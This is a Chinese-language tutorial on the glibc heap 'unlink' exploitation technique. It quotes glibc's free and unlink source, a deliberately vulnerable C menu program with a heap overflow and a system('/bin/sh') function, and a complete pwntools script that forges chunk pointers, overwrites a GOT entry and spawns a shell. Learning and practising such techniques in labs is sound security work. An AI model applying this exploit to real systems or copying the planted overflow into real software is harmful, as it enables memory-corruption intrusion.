pwn-unlink

没有什么比看源码更能清楚程序执行逻辑的了!

unlink能够实现任意修改指针的值,然后对地址内的数据进行修改。unlink在free函数调用时发生,在glibc源码_libc_free以及_int_free两个函数就是free函数调用时执行的代码,选择部分关键源代码解释unlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

通过源代码,后向合并是向低地址合并,首先是size+=presize,接着p指针移到后一个chunk,进行unlink。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

unlink如果要执行FD->bk = BK;BK->fd = FD;那么要通过两个校验,一个是当前chunk与前向chunk的prev_size要相等,另一个即是FD->bk != P || BK->fd != P的校验,那么构造方法即是:

  1. malloc(size)大小的chunk,内容随意,
  2. malloc(size)大小的chunk,内容随意
  3. 对第一个chunk写入fake_presize,fake_size,fake_fd,fake_bk,以及填充第一个chunk的数据,溢出覆盖第二个chunk的presize和size,构造presize == chunksize(P),同时第二个chunk的size最低位置0
  4. free第二个chunk

最终实现改写*(fake_bk+8(16)) = fake_fd,接下来就是任意写指针,最后任意写地址处数据。

下面是测试Unlink作用的一个小程序,只需unlink即可获取shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
//unlink_test.c

#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<malloc.h>


char *buf[10];

void Menu()
{
write(1,"Wellcome To the Heap World\n",0x1B);
write(1,"1. Create\n",0xA);
write(1,"2. Delete\n",0xA);
write(1,"3. Update\n",0xA);
write(1,"4. Exit\n",0x8);
write(1,"Your choice :",0xD);
}

int input()
{
char buf[8];
read(0,&buf,8);
int result = atoi(&buf);
return result;
}

void Create()
{
int nbytes,i=0;
write(1,"Size: ",6);
nbytes = input();
char *p = (char *)malloc(nbytes);
if(p)
{
while(buf[i] && i <= 9) i++;
if (i == 10)
{
write(1,"List is Full!\n",0xE);
free(p);
}
else
{
write(1,"Data: ",0x6);
read(0,p,nbytes);
buf[i] = p;

}
}
}

void Delete()
{
write(1,"Index: ",0x7);
int idx = input();
if((unsigned int)idx <= 9)
{
free(buf[idx]);
}
}

void Update()
{
write(1,"Index: ",0x7);
int idx = input();
if ((unsigned int)idx <= 9)
{
if(buf[idx])
{
write(1,"Size: ",0x6);
int nbytes = input();
write(1,"Data: ",0x6);
read(0,buf[idx],nbytes); //overflow
}
}
}

void getshell()
{
system("/bin/sh");
}

int main()
{
int choice;
while(1)
{
Menu();
choice = input();
switch(choice)
{
case 1:
Create();
break;
case 2:
Delete();
break;
case 3:
Update();
break;
case 4:
exit(1);
default:
write(1,"Wrong choice\n",0xD);
}
}

return 0;
}

gcc unlink_test.c -o unlink_test

生成的程序默认开启NX,Canary以及Partial RELRO,能够通过写got表,实现getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

def Update(idx,size,payload):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Data: ")
p.send(payload)

def Delete(idx):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))

def Create(size,payload):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Data: ")
p.send(payload)

def exitProcess():
p.recvuntil("Your choice :")
p.sendline("4")

p = process("./unlink_test")
#gdb.attach(p)
Create(0x80,"A"*16)
Create(0x80,"B"*16)
payload1 = p64(0) + p64(0x81) + p64(0x6010A0-0x18) + p64(0x6010A0-0x10) + "A"*0x60 + p64(0x80) + p64(0x90)
Update(0,len(payload1),payload1)
Delete(1)

payload2 = p64(0)*3 + p64(0x601058)
Update(0,len(payload2),payload2)
payload3 = p64(0x4009D4)
Update(0,len(payload3),payload3)

exitProcess()

p.interactive()